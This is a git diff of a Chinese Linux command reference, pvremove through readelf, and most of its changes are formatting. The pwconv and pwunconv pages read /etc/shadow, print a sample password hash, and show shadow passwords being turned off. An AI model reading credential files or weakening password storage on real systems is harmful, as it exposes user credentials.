newline at end of file diff --git a/command/pvremove.md b/command/pvremove.md index 78913e4672c..99e3b16557b 100644 --- a/command/pvremove.md +++ b/command/pvremove.md @@ -1,39 +1,37 @@ pvremove === - + 删除一个存在的物理卷 ## 补充说明 **pvremove命令** 用于删除一个存在的物理卷。使用pvremove指令删除物理卷时,它将LVM分区上的物理卷信息删除,使其不再被视为一个物理卷。 -### 语法 +### 语法 -``` +```shell pvremove(选项)(参数) ``` -### 选项 +### 选项 -``` --d:调试模式; --f:强制删除; --y:对提问回答“yes”。 +```shell +-d # 调试模式; +-f # 强制删除; +-y # 对提问回答“yes”。 ``` -### 参数 +### 参数 物理卷:指定要删除的物理卷对应的设备文件名。 -### 实例 +### 实例 使用pvremove指令删除物理卷`/dev/sdb2`。在命令行中输入下面的命令: -``` -pvremove /dev/sdb2 #删除物理卷 +```shell +pvremove /dev/sdb2 # 删除物理卷 Labels on physical volume "/dev/sdb2" successfully wiped - ``` - \ No newline at end of file diff --git a/command/pvs.md b/command/pvs.md index 3154af14291..d87a18ac37a 100644 --- a/command/pvs.md +++ b/command/pvs.md @@ -1,44 +1,43 @@ pvs === - + 输出物理卷信息报表 ## 补充说明 **pvs命令** 用于输出格式化的物理卷信息报表。使用pvs命令仅能得到物理卷的概要信息,如果要得到更加详细的信息可以使用pvdisplay命令。 -### 语法 +### 语法 -``` +```shell pvs(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell --noheadings:不输出标题头; --nosuffix:不输出空间大小的单位。 ``` -### 参数 +### 参数 物理卷:要显示报表的物理卷列表。 -### 实例 +### 实例 使用pvs命令显示系统中所有物理卷的信息报表。在命令行中输入下面的命令: -``` -pvs #输出物理卷信息报表 +```shell +pvs # 输出物理卷信息报表 ``` 输出信息如下: -``` +```shell PV VG fmt Attr PSize PFree /dev/sdb1 vg1000 lvm2 -- 100.00M 100.00M /dev/sdb2 lvm2 -- 101.98M 101.98M ``` - \ No newline at end of file diff --git a/command/pvscan.md b/command/pvscan.md index 5e5039d0fc5..023573c1e12 100644 --- a/command/pvscan.md +++ b/command/pvscan.md @@ -1,21 +1,21 @@ pvscan === - + 扫描系统中所有硬盘的物理卷列表 ## 补充说明 **pvscan命令** 会扫描系统中连接的所有硬盘,列出找到的物理卷列表。使用pvscan命令的`-n`选项可以显示硬盘中的不属于任何卷组的物理卷,这些物理卷是未被使用的。 -### 语法 +### 语法 -``` +```shell pvscan(选项) ``` -### 选项 +### 选项 -``` +```shell -d:调试模式; -e:仅显示属于输出卷组的物理卷; -n:仅显示不属于任何卷组的物理卷; @@ -23,17 +23,17 @@ pvscan(选项) -u:显示UUID。 ``` -### 实例 +### 实例 使用pvscan命令扫描当前系统中所有硬盘的物理卷,在命令行中输入下面的命令: -``` +```shell [root@localhost ~]# pvscan #扫描所有硬盘上的物理卷 ``` 输出信息如下: -``` +```shell PV /dev/sdb1 lvm2 [101.94 MB] PV /dev/sdb2 lvm2 [101.98 MB] Total: 2 [203.92 MB] / in use: 0 [0 ] / in no VG: 2 [203.92 @@ -43,4 +43,3 @@ MB] 说明:本例中,输出了两个物理卷,它们不属于任何卷组,是可被利用的物理卷。 - \ No newline at end of file diff --git a/command/pwck.md b/command/pwck.md index 62364fc3d75..31c0fb2ee52 100644 --- a/command/pwck.md +++ b/command/pwck.md @@ -1,53 +1,47 @@ pwck === - + 用来验证系统认证文件内容和格式的完整性 ## 补充说明 **pwck命令** 用来验证系统认证文件`/etc/passwd`和`/etc/shadow`的内容和格式的完整性。 -### 语法 +### 语法 -``` +```shell pwck(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -q:仅报告错误信息; -s:以用户id排序文件“/etc/passwd”和“/etc/shadow”; --r:只读方式运行指令。 +-r:只读方式运行指令; +-R:在指定的chroot环境下检查密码文件。 ``` -### 参数 +### 参数 * 密码文件:指定密码文件的路径; * 影子文件:指定影子文件的路径。 -### 实例 +### 实例 +```shell +pwck +user 'ftp': directory '/var/ftp' does not exist +pwck: no changes ``` -pwck /etc/passwd -user 'lp': directory '/var/spool/lpd' does not exist -user 'news': directory '/var/spool/news' does not exist -user 'uucp': directory '/var/spool/uucp' does not exist -user 'www-data': directory '/var/www' does not exist -user 'list': directory '/var/list' does not exist -user 'irc': directory '/var/run/ircd' does not exist -user 'gnats': directory '/var/lib/gnats' does not exist -user 'nobody': directory '/nonexistent' does not exist -user 'syslog': directory '/home/syslog' does not exist -user 'couchdb': directory '/var/lib/couchdb' does not exist -user 'speech-dispatcher': directory '/var/run/speech-dispatcher' does not exist -user 'usbmux': directory '/home/usbmux' does not exist -user 'haldaemon': directory '/var/run/hald' does not exist -user 'pulse': directory '/var/run/pulse' does not exist -user 'saned': directory '/home/saned' does not exist -user 'hplip': directory '/var/run/hplip' does not exist -pwck:无改变 +执行`pwck`命令后显示了一些警告,提示有用户`lp`的主目录 `/var/spool/lpd`不存在。为了解决这个问题,你有几个选项: +1. 如果你确定这些用户不会被使用,你可以考虑使用`userdel`命令来删除这些用户。 +2. 如果这些用户需要被使用,你应该创建相应的目录。例如,你可以使用以下命令: + +```shell +# 创建目录 +sudo mkdir /var/ftp +# 将目录的所有权赋给相应的用户 +sudo chown ftp:ftp /var/ftp ``` - - - \ No newline at end of file +3. 如果这些用户对应的软件包还未安装,你可以考虑安装它们。软件包管理器(如`yum`或`apt`)通常会自动创建必要的用户和目录。 diff --git a/command/pwconv.md b/command/pwconv.md index b3ee2385983..c2b6a245eff 100644 --- a/command/pwconv.md +++ b/command/pwconv.md @@ -1,31 +1,30 @@ pwconv === - + 用来开启用户的投影密码 ## 补充说明 **pwconv命令** 用来开启用户的投影密码。Linux系统里的用户和群组密码,分别存放在名称为passwd和group的文件中, 这两个文件位于`/etc`目录下。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符,有效的强化了系统的安全性。 -### 语法 +### 语法 -``` +```shell pwconv ``` -### 实例 +### 实例 -``` +```shell cat /etc/passwd | grep test test:x:3001:3001::/home/test:/bin/sh ``` 此时可以发现密码段是x -``` +```shell cat /etc/shadow | grep test test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdfjksyuyAFDPIngZeD3cgcf.0:15022:0:99999:7::: ``` - \ No newline at end of file diff --git a/command/pwd.md b/command/pwd.md index a2baab5eec4..64951e0a896 100644 --- a/command/pwd.md +++ b/command/pwd.md @@ -1,32 +1,95 @@ pwd === - -绝对路径方式显示用户当前工作目录 + +显示当前工作目录的绝对路径。 ## 补充说明 -**pwd命令** 以绝对路径的方式显示用户当前工作目录。命令将当前目录的全路径名称(从根目录)写入标准输出。全部目录使用`/`分隔。第一个`/`表示根目录,最后一个目录是当前目录。执行pwd命令可立刻得知您目前所在的工作目录的绝对路径名称。 +pwd(英文全拼:print working directory) 命令用于显示用户当前所在的工作目录(以绝对路径显示)。 + +## 内建命令 -### 语法 +#### 概要 +```shell +pwd [-LP] ``` -pwd(选项) + +#### 选项 + +```shell +-L (默认值)打印环境变量"$PWD"的值,可能为符号链接。 +-P 打印当前工作目录的物理位置。 ``` -### 选项 +#### 返回值 + +返回状态为成功除非给出了非法选项或是当前目录无法读取。 + +#### 注意 +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + + +## 外部命令 + +#### 概要 + +```shell +pwd [OPTION]... ``` ---help:显示帮助信息; ---version:显示版本信息。 +#### 主要用途 + +- 显示当前工作目录。 + + +#### 选项 + +```shell +-L, --logical 打印环境变量"$PWD"的值,可能为符号链接。 +-P, --physical (默认值)打印当前工作目录的物理位置。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` -### 实例 +#### 返回值 + +返回状态为成功除非给出了非法选项或是当前目录无法读取。 + +#### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man pwd`或`info coreutils 'pwd invocation'`。 +2. 启动或关闭内建命令请查看`enable`命令,关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。 +3. 在不禁用内建且当前环境没有定义`pwd`函数的情况下,使用`/usr/bin/pwd`指向`coreutils`的`pwd`,使用`pwd`指向bash内建的`pwd`。 + +## 例子 + +查看当前所在路径 + +```shell +[root@localhost var]# pwd +/var ``` -[root@localhost ~]# pwd -/root + +显示软连接文件最终指向的文件路径 + +```shell +[root@localhost ~]# cd /var/ # 进入/var目录,该目录下有个 mail 软连接文件 +[root@localhost var]# ls -al +total 164 +... +lrwxrwxrwx 1 root root 10 Oct 17 2015 mail -> spool/mail + +[root@localhost var]# cd mail/ # 进入 mail 目录,mail 为连接文件。 +[root@localhost mail]# pwd # 默认,使用连接文件,直接显示连接文件全路径。 +/var/mail ``` +使用 `-P` 参数,显示的不是逻辑路径,而是连接(软连接)文件最终指向的文件 - \ No newline at end of file +```shell +[root@localhost mail]# pwd -P +/var/spool/mail +``` diff --git a/command/pwdx.md b/command/pwdx.md new file mode 100644 index 00000000000..c0eeb3cc97d --- /dev/null +++ b/command/pwdx.md @@ -0,0 +1,61 @@ +pwdx +=== + +用于显示指定进程的当前工作目录 + +## 内建命令 + + +### 概要 + +```shell +pwdx [进程ID] +``` + +### 参数说明 + +- `进程ID`:要查询的进程ID,可以使用 `ps` 命令查看。 + +## 示例 + + +下面示例中,使用 `ps` 命令查看 `nginx` 进程的信息,然后使用 `pwdx` 命令查询进程ID为 `5678` 的进程的当前工作目录。 + +```bash +$ ps -ef | grep nginx +# root 1234 1 0 10:00 ? 00:00:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; +# www-data 5678 1234 0 10:01 ? 00:00:00 nginx: worker process + +$ pwdx 5678 +# 5678: /var/www/html +``` + +查看当前进程的工作目录: + +```bash +$ pwdx $$ +``` + +查看指定进程的工作目录: + +```bash +$ pwdx 1234 +``` + +批量查看多个进程的工作目录: + +```bash +$ ps aux | awk '{print $2}' | xargs pwdx +``` + +结合其他命令,查看某个进程的工作目录和命令行: + +```bash +$ ps -p 1234 -o cmd | tail -n 1 | awk '{print $1}' | xargs pwdx +``` + +查看所有进程的工作目录: + +```bash +$ ps -eo pid | xargs pwdx +``` \ No newline at end of file diff --git a/command/pwunconv.md b/command/pwunconv.md index 021851c2103..cda5a01dbdd 100644 --- a/command/pwunconv.md +++ b/command/pwunconv.md @@ -1,28 +1,27 @@ pwunconv === - + 用来关闭用户的投影密码 ## 补充说明 **pwunconv命令** 与pwconv功能相反,用来关闭用户的投影密码。它会把密码从shadow文件内,重回存到passwd文件里。 -### 语法 +### 语法 -``` +```shell pwunconv ``` -### 实例 +### 实例 -``` -pwunconv //关闭影子密码 -cat /etc/passwd | grep test //发现密码已经在passwd文件中了 +```shell +pwunconv # 关闭影子密码 +cat /etc/passwd | grep test # 发现密码已经在passwd文件中了 test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdfjksyuyAFDPIngZeD3cgcf.0:3001:3001::/home/test:/bin/sh -ls /etc/shadow //查看影子文件,提示没有这个文件或目录 +ls /etc/shadow # 查看影子文件,提示没有这个文件或目录 ls: cannot access /etc/shadow: No such file or directory ``` - \ No newline at end of file diff --git a/command/quota.md b/command/quota.md index 24a79fed5cd..2ed5b52799a 100644 --- a/command/quota.md +++ b/command/quota.md @@ -1,21 +1,21 @@ quota === - + 显示磁盘已使用的空间与限制 ## 补充说明 **quota命令** 用于显示用户或者工作组的磁盘配额信息。输出信息包括磁盘使用和配额限制。 -### 语法 +### 语法 -``` +```shell quota(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -g:列出群组的磁盘空间限制; -q:简明列表,只列出超过限制的部分; -u:列出用户的磁盘空间限制; @@ -23,17 +23,17 @@ quota(选项)(参数) -V:显示版本信息。 ``` -### 参数 +### 参数 用户或者工作组:指定要显示的用户或者工作组。 -### 实例 +### 实例 我们可以限制某一群组所能使用的最大磁盘配额,而且可以再限制某一使用者的最大磁盘配额 ,好比做一个收费的应用,vip可以得到空间更大一些。另外,以 Link 的方式,来使邮件可以作为限制的配额(更改`/var/spool/mail` 这个路径),不2,需要重新再规划一个硬盘!直接使用 Link 的方式指向 /home (或者其它已经做好的 quota 磁盘)就可以!这通常是用在原本规划不好,但是却又不想要更动原有主机架构的情况中! 要求:Linux 主机里面主要针对 quser1 及 quser2 两个使用者来进行磁盘配额, 且这两个使用者都是挂在 qgroup 组里面的。每个使用者总共有 50MB 的磁盘空间 (不考虑 inode) 限制!并且 soft limit 为 45 MB;而宽限时间设定为 1 天, 但是在一天之内必须要将多余的文件删除掉,否则将无法使用剩下的空间 ;gquota 这个组考虑最大限额,所以设定为 90 MB!(注意,这样设置的好处是富有弹性,好比现在的邮件服务,那么多用户,承诺给用户每人最大空间为数GB,然而人们不可能每人都会使用那么大的空间,所以邮件服务的总空间,实际上肯定不是注册客户数乘以数GB,否则这样得多大啊。) -``` +```shell [root@localhost ~]# groupadd qgroup [root@localhost ~]# useradd -m -g qgroup quser1 [root@localhost ~]# useradd -m -g qgroup quser2 @@ -56,7 +56,7 @@ LABEL=/disk2 /disk2 ext3 defaults,usrquota,grpquota 1 2 重新`remount filesystem`来驱动设定值。 -``` +```shell [root@localhost ~]# umount /dev/hdb1 [root@localhost ~]# mount -a [root@localhost ~]# grep '/disk2' /etc/mtab @@ -65,7 +65,7 @@ LABEL=/disk2 /disk2 ext3 defaults,usrquota,grpquota 1 2 事实上,也可以利用 mount 的 remount 功能。 -``` +```shell [root@localhost ~]# mount -o remount /disk2 ``` @@ -73,7 +73,7 @@ LABEL=/disk2 /disk2 ext3 defaults,usrquota,grpquota 1 2 扫瞄磁盘的使用者使用状况,并产生重要的 aquota.group 与 aquota.user: -``` +```shell [root@localhost ~]# quotacheck -avug quotacheck: Scanning /dev/hdb1 [/disk2] done quotacheck: Checked 3 directories and 4 files @@ -85,7 +85,7 @@ quotacheck: Checked 3 directories and 4 files 使用 quotacheck 就可以轻易的将所需要的数据给他输出了!但奇怪的是,在某些 Linux 版本中,不能够以 aquota.user(group) 来启动quota ,可能是因为旧版 quota 的关系, 所以就另外做了一个 link 文件按来欺骗 quota,这个动作非必要。(主要是学习这个思维很重要) -``` +```shell [root@localhost ~]# cd /disk2 [root@localhost ~]# ln -s aquota.user quota.user [root@localhost ~]# ln -s aquota.group quota.group @@ -93,7 +93,7 @@ quotacheck: Checked 3 directories and 4 files 启动 quota 的限额: -``` +```shell [root@localhost ~]# quotaon -avug /dev/hdb1 [/disk2]: group quotas turned on /dev/hdb1 [/disk2]: user quotas turned on ===> 看到turned on,才是真的成功! @@ -101,7 +101,7 @@ quotacheck: Checked 3 directories and 4 files 编辑使用者的可使用空间: -``` +```shell [root@localhost ~]# edquota -u quser1 Disk quotas for user quser1 (uid 502): Filesystem blocks soft hard inodes soft hard @@ -111,7 +111,7 @@ Disk quotas for user quser1 (uid 502): 接下来要来设定宽限时间,还是使用 edquota -``` +```shell [root@localhost ~]# edquota -t Grace period before enforcing soft limits for users: time units may be: days, hours, minutes, or seconds @@ -121,7 +121,7 @@ time units may be: days, hours, minutes, or seconds 使用`quota -v`来查询: -``` +```shell [root@localhost ~]# quota -vu quser1 quser2 Disk quotas for user quser1 (uid 502): Filesystem blocks quota limit grace files quota limit grace @@ -135,7 +135,7 @@ Disk quotas for user quser2 (uid 503): 编辑群组可使用的空间: -``` +```shell [root@localhost ~]# edquota -g qgroup Disk quotas for group qgroup (gid 502): Filesystem blocks soft hard inodes soft hard @@ -148,4 +148,3 @@ Disk quotas for group qgroup (gid 502): ``` - \ No newline at end of file diff --git a/command/quotacheck.md b/command/quotacheck.md index 4d905aaae90..3a194bdaad5 100644 --- a/command/quotacheck.md +++ b/command/quotacheck.md @@ -1,22 +1,31 @@ quotacheck === - + 检查磁盘的使用空间与限制 ## 补充说明 **quotacheck命令** 通过扫描指定的文件系统,获取磁盘的使用情况,创建、检查和修复磁盘配额(quota)文件。执行quotacheck指令,扫描挂入系统的分区,并在各分区的文件系统根目录下产生quota.user和quota.group文件,设置用户和群组的磁盘空间限制。 -### 语法 +如果在执行quotacheck命令时出现了以下信息: +```shell +quotacheck: Your kernel probably supports journaled quota but you are not using it. Consider switching to journaled quota to avoid running quotacheck after an unclean shutdown. ``` + +可以考虑将之前在文件系统的配置文件中添加的quota相关字段修改为:`usrjquota=aquota.user,grpjquota=aquota.group,jqfmt=vfsv1`,然后重新挂载文件系统:`mount -vo remount 挂载目录`(注意,如果这一步操作出现了任何问题,千万不要试图通过重启解决!将配置文件恢复原状是一个好的选择) + +### 语法 + +```shell quotacheck(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:扫描在/etc/fstab文件里,有加入quota设置的分区; +-c:对目标文件系统进行一次新的扫描,并创建新的quota文件; -d:详细显示指令执行过程,便于排错或了解程序执行的情形; -g:扫描磁盘空间时,计算每个群组识别码所占用的目录和文件数目; -R:排除根目录所在的分区; @@ -24,26 +33,31 @@ quotacheck(选项)(参数) -v:显示指令执行过程。 ``` -### 参数 +### 参数 文件系统:指定要扫描的文件系统。 -### 实例 +### 实例 将所有的在`/etc/mtab`内,含有quota支持的partition进行扫描: -``` +```shell [root@linux ~]# quotacheck -avug quotacheck: Scanning /dev/hdb1 [/disk2] done quotacheck: Checked 3 directories and 4 files - ``` 强制扫描已挂载的filesystem: -``` +```shell [root@linux ~]# quotacheck -avug -m ``` +扫描指定的filesystem: + +```shell +[root@linux ~]# quotacheck -cvug /disk2 +``` + + - \ No newline at end of file diff --git a/command/quotaoff.md b/command/quotaoff.md index c17127714c0..c4472bc7656 100644 --- a/command/quotaoff.md +++ b/command/quotaoff.md @@ -1,30 +1,29 @@ quotaoff === - + 关闭Linux内核中指定文件系统的磁盘配额功能 ## 补充说明 **quotaoff命令** 用于关闭Linux内核中指定文件系统的磁盘配额功能。 -### 语法 +### 语法 -``` +```shell quotaoff(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:关闭在/etc/fstab文件里,有加入quota设置的分区的空间限制; -g:关闭群组的磁盘空间限制; -u:关闭用户的磁盘空间限制; -v:显示指令执行过程。 ``` -### 参数 +### 参数 文件系统:指定要关闭磁盘配额功能的文件系统。 - \ No newline at end of file diff --git a/command/quotaon.md b/command/quotaon.md index 74946597094..38a28b45e41 100644 --- a/command/quotaon.md +++ b/command/quotaon.md @@ -1,30 +1,30 @@ quotaon === - + 激活Linux内核中指定文件系统的磁盘配额功能 ## 补充说明 -**quotaon命令** 用于激活Linux内核中指定文件系统的磁盘配额功能。执行quotaon指令可开启用户和群组的才磅秒年空间限制,各分区的文件系统根目录必须有quota.user和quota.group配置文件。 +**quotaon命令** 执行quotaon指令可开启磁盘对用户和群组的空间使用限制,但在开启前,各分区的文件系统根目录必须存在通过quotacheck命令创建的quota配置文件。 -### 语法 +### 语法 -``` +```shell quotaon(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:开启在/ect/fstab文件里,有加入quota设置的分区的空间限制; -g:开启群组的磁盘空间限制; -u:开启用户的磁盘空间限制; -v:显示指令指令执行过程。 ``` -### 参数 +### 参数 文件系统:指定要激活磁盘配额功能的文件系统。 - \ No newline at end of file + diff --git a/command/rcconf.md b/command/rcconf.md index 3eaf3503240..2983d19d9bd 100644 --- a/command/rcconf.md +++ b/command/rcconf.md @@ -1,25 +1,24 @@ rcconf === - + Debian Linux下的运行等级服务配置工具 ## 补充说明 **rcconf命令** 是Debian Linux下的运行等级服务配置工具,用以设置在特定的运行等级下系统服务的启动配置。 -### 语法 +### 语法 -``` +```shell rcconf(选项) ``` -### 选项 +### 选项 -``` +```shell --help:打印帮助信息; --dialog:使用对话命令显示菜单; --notermcheck:不按照终端属性来设置窗口尺寸。 ``` - \ No newline at end of file diff --git a/command/rcp.md b/command/rcp.md index 073c6c442f1..0bff58254c1 100644 --- a/command/rcp.md +++ b/command/rcp.md @@ -7,15 +7,15 @@ rcp **rcp命令** 使在两台Linux主机之间的文件复制操作更简单。通过适当的配置,在两台Linux主机之间复制文件而无需输入密码,就像本地文件复制一样简单。 -### 语法 +### 语法 -``` +```shell rcp(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -p:保留源文件或目录的属性,包括拥有者、所属群组、权限与时间; -r:递归处理,将指定目录下的文件与子目录一并处理; -x:加密两台Linux主机间传送的所有信息。 @@ -26,11 +26,11 @@ rcp(选项)(参数) directory 每个文件或目录参数既可以是远程文件名也可以是本地文件名。远程文件名具有如下形式`rname@rhost:path`,其中rname是远程用户名,rhost是远程计算机名,path是这个文件的路径。 -### 参数 +### 参数 源文件:指定要复制的源文件。源文件可以有多个。 -### 实例 +### 实例 **rcp命令使用条件** @@ -45,7 +45,7 @@ directory 每个文件或目录参数既可以是远程文件名也可以是本 **将当前目录下的 test1 复制到名为 webserver1 的远程系统:** -``` +```shell rcp test1 webserver1:/home/root/test3 ``` @@ -53,7 +53,7 @@ rcp test1 webserver1:/home/root/test3 **还可以在目的目录中包含文件名。例如,将文件复制到名为 webserver1的系统中:** -``` +```shell rcp test1 webserver1:/home/root/test3 ``` @@ -61,13 +61,13 @@ rcp test1 webserver1:/home/root/test3 **从远程系统复制文件:要将远程系统中的文件复制到本地目录下:** -``` +```shell rcp remote_hostname:remote_file local_fileEnter ``` **将远程系统 webserver1中的 test2 复制到当前目录:** -``` +```shell rcp webserver1:/home/root/test2 .Enter ``` @@ -75,13 +75,13 @@ rcp webserver1:/home/root/test2 .Enter 如果希望用新名称复制文件,请提供目标文件名。如果希望将 test2 复制到本地系统中的其他目录下,请使用以下绝对或相对路径名: -``` +```shell rcp webserver1:/home/root/test2 otherdir/ Enter ``` 或者,如果希望用其他文件名将文件复制到其他目录下: -``` +```shell rcp webserver1:/home/root/test2 otherdir/otherfile Enter ``` @@ -89,7 +89,7 @@ rcp webserver1:/home/root/test2 otherdir/otherfile Enter 要将本地目录及其文件和子目录复制到远程系统,请同时使用 rcp 和 -r(递归)选项。 -``` +```shell rcp -r local_dir remote_hostname:remote_dir Enter ``` @@ -97,7 +97,7 @@ rcp -r local_dir remote_hostname:remote_dir Enter **要将名为 work 的子目录完整地复制到 webserver1远程计算机中的主目录下名为 products 的目录,请键入以下内容:** -``` +```shell rcp -r work webserver1:/home/root/products Enter ``` @@ -109,17 +109,17 @@ rcp -r work webserver1:/home/root/products Enter 要将远程目录及其所有文件和子目录复制到本地目录,请在以下语法中使用 rcp 和 -r(递归)选项。 -``` +```shell rcp –r remote_hostname:remote_dir local_dir Enter ``` 要将名为 work 的远程目录复制到当前目录,请键入以下内容: -``` +```shell rcp –r webserver1:/home/root/work .Enter ``` `.`表示当前目录。将在此目录下创建 work 目录。 - + diff --git a/command/read.md b/command/read.md index 1e71ad1e296..5bb2f20e1b1 100644 --- a/command/read.md +++ b/command/read.md @@ -1,74 +1,74 @@ read === - + 从键盘读取变量值 ## 补充说明 **read命令** 从键盘读取变量的值,通常用在shell脚本中与用户进行交互的场合。该命令可以一次读取多个变量的值,变量和输入的值都需要使用空格隔开。在read命令后面,如果没有指定变量名,读取的数据将被自动赋值给特定的变量REPLY -### 语法 +### 语法 -``` +```shell read(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -p:指定读取值时的提示符; -t:指定读取值时等待的时间(秒)。 ``` -### 参数 +### 参数 变量:指定读取值的变量名。 -### 实例 +### 实例 下面的列表给出了read命令的常用方式: -``` +```shell read 1987name 从标准输入读取输入并赋值给变量1987name。 ``` -``` +```shell read first last 从标准输入读取输入到第一个空格或者回车,将输入的第一个单词放到变量first中,并将该行其他的输入放在变量last中。 ``` -``` +```shell read 从标准输入读取一行并赋值给特定变量REPLY。 ``` -``` +```shell read -a arrayname 把单词清单读入arrayname的数组里。 ``` -``` +```shell read -p "text" 打印提示(text),等待输入,并将输入存储在REPLY中。 ``` -``` +```shell read -r line 允许输入包含反斜杠。 ``` -``` +```shell read -t 3 指定读取等待时间为3秒。 ``` -``` +```shell read -n 2 var 从输入中读取两个字符并存入变量var,不需要按回车读取。 ``` -``` +```shell read -d ":" var 用定界符“:”结束输入行。 ``` @@ -77,7 +77,7 @@ read -d ":" var 从标准输入读取输入并赋值给变量1987name。 -``` +```shell #read 1987name #等待读取输入,直到回车后表示输入完毕,并将输入赋值给变量answer HelloWorld #控制台输入Hello @@ -87,7 +87,7 @@ HelloWorld 等待一组输入,每个单词之间使用空格隔开,直到回车结束,并分别将单词依次赋值给这三个读入变量。 -``` +```shell #read one two three 1 2 3 #在控制台输入1 2 3,它们之间用空格隔开。 @@ -97,7 +97,7 @@ one = 1, two = 2, three = 3 REPLY示例 -``` +```shell #read #等待控制台输入,并将结果赋值给特定内置变量REPLY。 This is REPLY #在控制台输入该行。 @@ -108,7 +108,7 @@ This is REPLY -p选项示例 -``` +```shell #read -p "Enter your name: " #输出文本提示,同时等待输入,并将结果赋值给REPLY。 Enter you name: stephen #在提示文本之后输入stephen @@ -118,7 +118,7 @@ stephen 等待控制台输入,并将输入信息视为数组,赋值给数组变量friends,输入信息用空格隔开数组的每个元素。 -``` +```shell #read -a friends Tim Tom Helen @@ -130,7 +130,7 @@ They are Tim, Tom and Helen. 方法1: -``` +```shell #!/bin/bash read -p "输入密码:" -s pwd echo @@ -139,7 +139,7 @@ echo password read, is "$pwd" 方法2: -``` +```shell #!/bin/bash stty -echo read -p "输入密码:" pwd @@ -152,29 +152,28 @@ echo 输入完毕。 使用read命令从键盘读取变量值,并且将值赋给指定的变量,输入如下命令: -``` +```shell read v1 v3 #读取变量值 ``` 执行上面的指令以后,要求键入两个数据,如下所示: -``` +```shell Linux c+ #输入数据 ``` 完成之后,可以使用echo命令将指定的变量值输出查看,输入如下命令: -``` +```shell echo $v1 $v3 #输出变量的值 ``` 执行输出变量值的命令以后,将显示用户所输入的数据值,如下所示: -``` +```shell Linux c+ #输出变量值 ``` 注意:使用echo命令输出变量值时,必须在变量名前添加符号`$`。否则,echo将直接输出变量名。 - \ No newline at end of file diff --git a/command/readelf.md b/command/readelf.md index 13714b5c1eb..a53951c81d8 100644 --- a/command/readelf.md +++ b/command/readelf.md @@ -1,6 +1,6 @@ readelf === - + 用于显示elf格式文件的信息 ## 补充说明 @@ -11,7 +11,7 @@ readelf 运行readelf的时候,除了-v和-H之外,其它的选项必须有一个被指定。  -### ELF文件类型 +### ELF文件类型 **种类型的ELF文件:** @@ -36,9 +36,9 @@ elf文件头描述elf文件的总体信息。包括:系统相关,类型相 * 加载相关:包括程序头表相关信息。  * 链接相关:节头表相关信息。  -### 选项 +### 选项 -``` +```shell -a --all 显示全部信息,等价于 -h -l -S -s -r -d -V -A -I. @@ -108,7 +108,7 @@ elf文件头描述elf文件的总体信息。包括:系统相关,类型相 @file 可以将选项集中到一个文件中,然后使用这个@file选项载入。 ``` -### 实例 +### 实例 先给出如下例子: @@ -116,7 +116,7 @@ elf文件头描述elf文件的总体信息。包括:系统相关,类型相 1)查看可执行程序的源代码如下:  -``` +```shell root@localhost [test]$ cat main.cpp #include using std::cout; @@ -138,14 +138,14 @@ void my_print() 2)编译如下:  -``` +```shell [root@localhost test]$ g++ main.cpp -o main [root@localhost test]$ g++ -g main.cpp -o main.debug ``` 3)编译之后,查看生成的文件:  -``` +```shell [root@localhost test]$ ls -l 总计 64 -rwxr-xr-x 1 quietheart quietheart 6700 07-07 18:04 main @@ -159,7 +159,7 @@ void my_print() 1)查看库的源代码如下:  -``` +```shell //myfile.h #ifndef __MYFILE_H #define __MYFILE_H @@ -179,7 +179,7 @@ void printInfo() 2)编译如下:  -``` +```shell [root@localhost test]$ g++ -c myfile.cpp [root@localhost test]$ g++ -shared -fPCI -o libmy.so myfile.o [root@localhost test]$ ar -r libmy.a myfile.o @@ -192,7 +192,7 @@ ar: creating libmy.a 总计 44  -``` +```shell -rw-r--r-- 1 quietheart quietheart 2154 07-08 16:14 libmy.a -rwxr-xr-x 1 quietheart quietheart 5707 07-08 16:08 libmy.so -rwxr-xr-x 1 quietheart quietheart 117 07-08 16:06 myfile.cpp @@ -207,7 +207,7 @@ libmy.a libmy.so myfile.cpp myfile.h myfile.o **读取可执行文件形式的elf文件头信息:** -``` +```shell [root@localhost test]$ readelf -h main ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 @@ -235,7 +235,7 @@ ELF Header: **读取目标文件形式的elf文件头信息:** -``` +```shell [root@localhost test]$ readelf -h myfile.o ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 @@ -263,7 +263,7 @@ ELF Header: **读取静态库文件形式的elf文件头信息:** -``` +```shell [root@localhost test]$ readelf -h libmy.a File: libmy.a(myfile.o) ELF Header: @@ -292,7 +292,7 @@ ELF Header: **读取动态库文件形式的elf文件头信息:** -``` +```shell [root@localhost test]$ readelf -h libmy.so ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 @@ -320,7 +320,7 @@ ELF Header: **查看可执行的elf文件程序头表信息:** -``` +```shell [root@localhost test]$ readelf -l main Elf file type is EXEC (Executable file) Entry point 0x8048580 @@ -354,7 +354,7 @@ Section to Segment mapping: **查看目标文件的elf文件程序头表信息: ** -``` +```shell [root@localhost test]$ readelf -l myfile.o There are no program headers in this file. ``` @@ -363,7 +363,7 @@ There are no program headers in this file. **查看静态库文件的elf文件程序头表信息:** -``` +```shell [root@localhost test]$ readelf -l libmy.a File: libmy.a(myfile.o) There are no program headers in this file. @@ -373,7 +373,7 @@ There are no program headers in this file. **查看动态库文件的elf文件程序头表信息:** -``` +```shell [root@localhost test]$ readelf -l libmy.so Elf file type is DYN (Shared object file) Entry point 0x550 @@ -400,7 +400,7 @@ Section to Segment mapping: 